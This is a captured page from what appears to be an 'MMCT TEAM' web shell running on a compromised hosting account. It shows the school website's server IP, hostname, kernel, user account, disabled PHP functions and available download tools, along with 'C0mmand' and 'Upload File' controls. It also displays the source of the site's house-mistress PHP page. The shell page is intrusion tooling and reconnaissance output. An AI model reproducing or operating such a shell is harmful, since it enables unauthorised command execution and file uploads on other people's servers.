MMCT TEAM
Server IP : 86.38.243.181  /  Your IP : 216.73.216.51
Web Server : LiteSpeed
System : Linux in-mum-web1336.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
User : u986601745 ( 986601745)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u986601745/domains/emrskalsi.com/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u986601745/domains/emrskalsi.com/public_html/house-mistress.php
<!DOCTYPE html>
<html lang="en" style="overflow-x: hidden;">
<head>
  <meta http-equiv="content-type" content="text/html;charset=UTF-8" />
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <title>Eklavya Model Residential School - House Mistress</title>
  <meta name="viewport" content="width=device-width, initial-scale=1.0"><?php include('include/header.php'); ?>

<div class="breadcrumbs">
    <div class="container">

    <!--    <h1 class="pull-left">
    House Masters/ Mistress</h1> -->

    <ul class="pull-left breadcrumb">
        <li><a href="javascript:void(0)">Academics</a></li>
        <li><a href="javascript:void(0)">House Masters</a></li>
    </ul>
</div>
</div>

</div>

<style>.menshow{display:block !important}
.table > thead > tr > th, .table > tbody > tr > th, .table > tfoot > tr > th, .table > thead > tr > td, .table > tbody > tr > td, .table > tfoot > tr > td {
        vertical-align: middle!important;
        text-align: center;
    }
.table th,.table,td{
    text-align: center;
}
tfoot {
    background: #ff0000;
    color: #fff;
}
.assistant{
        border-bottom: 2px solid #ddd;
        padding: 15px 0;
        margin: 0;
        text-align: center!important;
        display: block!important;  
    }
    .assistant:last-child {
        border-bottom: none!important;
    }
    </style>

</div></div><div class="container" id="pr">
    <div class="row"><div class="col-xs-12 col-md-12 col-sm-12 col-lg-12" ><div class="ap-section ">
      <div class="headline" id="headlines"><h2 >HOUSE INCHARGES (<?php echo date('Y') ?>-<?php echo date('y')+1 ?>)</h2>
      </div>

      <div class="ap-plain" >    
        <div class="table-responsive">
            <table class="table table-bordered">
                <thead>

                    <tr>
                        <th>S.No.</th>
                        <th>Name of the House</th>
                        <th>House Mistress</th>
                        <th>Assistant House Mistress</th>
                        <th>Total No. Of girls</th>
                    </tr>
                    <tr>
                        <th colspan="3"></th>
                        <th>Co. House Mistress</th>
                        <th colspan="2"></th>
                    </tr>
                   
                </thead>
                    <?php
                    $grand_total=0;
                    $q = "select house_mistress.*,house.house_name from house_mistress left join house on house.id=house_mistress.house_id";
                    $query = mysqli_query($conn,$q);
                    $i=1;
                    while($res = mysqli_fetch_array($query)) {
                    $grand_total+=$res['total_girls'];
                    $assistants=explode(',', $res['assistant']);
                    ?>
                        <tr>
                            <td><?php echo $i++; ?></td>
                            <td><?php echo $res['house_name'] ?></td>
                            <td><?php echo $res['house_mistress'] ?></td>
                             <td style="padding-left: 0!important;padding-right: 0!important;"><?php
                                foreach($assistants as $assistant){ ?>
                                    <p class="assistant"><?php echo $assistant; ?></p>

                                 <?php } ?></td>
                            <td><?php echo $res['total_girls'] ?></td>
                           
                        </tr>


                    </tr>
                <?php } ?>

                <tfoot>
                    <tr>
                        <th colspan="4" style="text-align:right;">GRAND TOTAL</th>
                        <th><?php echo $grand_total; ?></th>
                    </tr>
                </tfoot>
                
            </tbody>
        </table>
        <p>&nbsp;</p></div>
    </div>

</div></div></div>
</div>
<?php include('include/footer.php'); ?>

MMCT - 2023